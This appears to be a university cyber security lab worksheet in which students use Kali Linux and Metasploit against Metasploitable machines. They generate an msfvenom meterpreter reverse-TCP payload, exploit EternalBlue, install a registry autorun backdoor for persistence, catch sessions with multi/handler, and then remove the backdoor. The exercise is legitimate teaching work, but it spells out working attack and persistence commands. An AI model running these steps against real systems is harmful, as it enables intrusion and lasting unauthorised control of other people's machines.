

CSCS 495 A

FORMAN CHRISTIAN COLLEGE

(A CHARTERED UNIVERSITY)

CYBER SECURITY

Class Activity 4

Max Marks: 70

Time Allowed: 70 min

ROLL No.

This activity is about using msfvenom, post exploitation, privilege escalation and especially maintaining persistence. You need to use Kali Linux and Metasploitable 2 and Metasploitable 3 to execute relevant commands and answer the questions specified in the tasks.

Attempt the following tasks on your system and write the commands / output on the space provided:

Activity 1 [40]

Fire up your kali, and Metasploitable 3.

- 2) a) Suppose I want to list down all the payloads that relate to 64 bit windows and can result in a meterpreter. Accomplish this task and write down command in the space below: [2]

`msfvenom --list payloads | grep "windows/x64/meterpreter"`

- 4) b) Now generate a payload of type windows/meterpreter/reverse_tcp. For this payload local host should be your kali machine and local port should be 4444. Set platform as windows, format of the payload as exe. Do not use architecture option. Let the name of the payload be payload.exe. Save this payload in the path /home/kali. Show the result to the instructor and write down complete command in the space below: [4]

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f exe > /home/kali/payload.exe`

- 8) c) Start msfconsole on kali with sudo permissions. Search for eternalblue. From the list, choose exploit number 10 which is ms17_010_eternalblue exploit. Start the exploit, set its required options and get a meterpreter shell. Make sure that local port is set to 4444, and payload windows/x64/meterpreter/reverse_tcp. Do not forget to set the target machine as windows 2000 R2. Once you got the meterpreter, type getuid on meterpreter prompt and show results to your instructor. [8]

- 1) d) Next, we will try to achieve persistence. Continue with the working of part (c).

Type `bg` on meterpreter prompt. This will send the current meterpreter session to back ground. Type sessions and note down the ID of your session.

Search for persistence based exploits in the msfconsole. Choose the exploit windows/manage/persistence_exe. Use this exploit and check for the required options.

CSCS 495 A

You need to set following options

session --- set it to the id of your session running in back ground - 1

Startup --- set it to SYSTEM.

Rexepath --- set it to the absolute path where you have saved the payload generated in part (b)

Confirm that the options are all set by typing the command show options again.

Now run the exploit.

This will display few message lines. Note down the following in the space below.

Name and path of persistence script written.

c:\Windows\TEMP\default.exe

Where the agent is installed into autorun (complete path)

HKLM\Software\Microsoft\Windows\CurrentVersion\Run BZHGcaUk

Show your results and working to the instructor. [8]

- e) You will see that you are now back to the previous context. On the msf prompt, type
sessions -i <ID of the session in background>

This will start the meterpreter session.

Go to the win2k machine and power it off.

Come back to kali machine and on the meterpreter prompt, type exit to exit the session.

Show your current prompt to the instructor. [6]

- f) On msf console, start a tcp handler using multi/handler exploit.

Check for its required options.

Set lhost to the kali ip and lport to 4444.

Set payload to windows/meterpreter/reverse_tcp and run the exploit.

It will start a reverse TCP handler on kali machine.

Show the results to your instructor. [4]

- g) Now fire up your win2k machine. Once you type the password and the machine finally prepares its desktop, you will have the meterpreter on kali. [2]

- h) Power off win2k again and exit msfconsole. Fire up msfconsole on kali. And start the multi/handler exploit again (you have to set the options). Once it starts listening, power on win2k and again you will have the meterpreter. [2]

CSCS 495 A

- i) The exploit we used actually has created a backdoor on win2k and has saved it in the registry autorun. We need to find it manually and delete it.
- Goto your win2k.
 - Click on start and on search box type regedit (without space). This will open the windows registry.
 - Go to part d solution and check the path of autorun. It starts with either HKLM (HKey_Local_Machine) or HKCU (HKey_Current_User).
 - Follow the path shown in part d in the registry.
 - You will finally reach the Run directory.
 - Locate the file name (random string) in this directory, select it and delete it. Be very careful not to delete any other file.
 - Now go to start -> task manager and look for running processes with the name default.exe.
 - If you find it, select it and click on End Process button.
 - Now go to the C:\Windows\Temp and delete the default.exe file from there.
- This will completely delete the back door from your system that was created by the persistence_exe exploit. [4]

Activity 2 [20]

Now on same lines as in task 1, perform the following steps. Show your working after each step is completed and get it graded.

- get a meterpreter shell for eternalblue. [4]
- Using exploit/windows/local/persistence send a reverse tcp back door to windows 2000. [4]
- Start a multi-handler listener on kali, restart your win2k machine and obtain a meterpreter session. [4]
- Show that your exploit can maintain the persistence session by restarting the msf session and starting a new listener on it, while you restart the win2K. [4]
- Make sure to clean the mess that your exploit has generated in the windows machine. [4]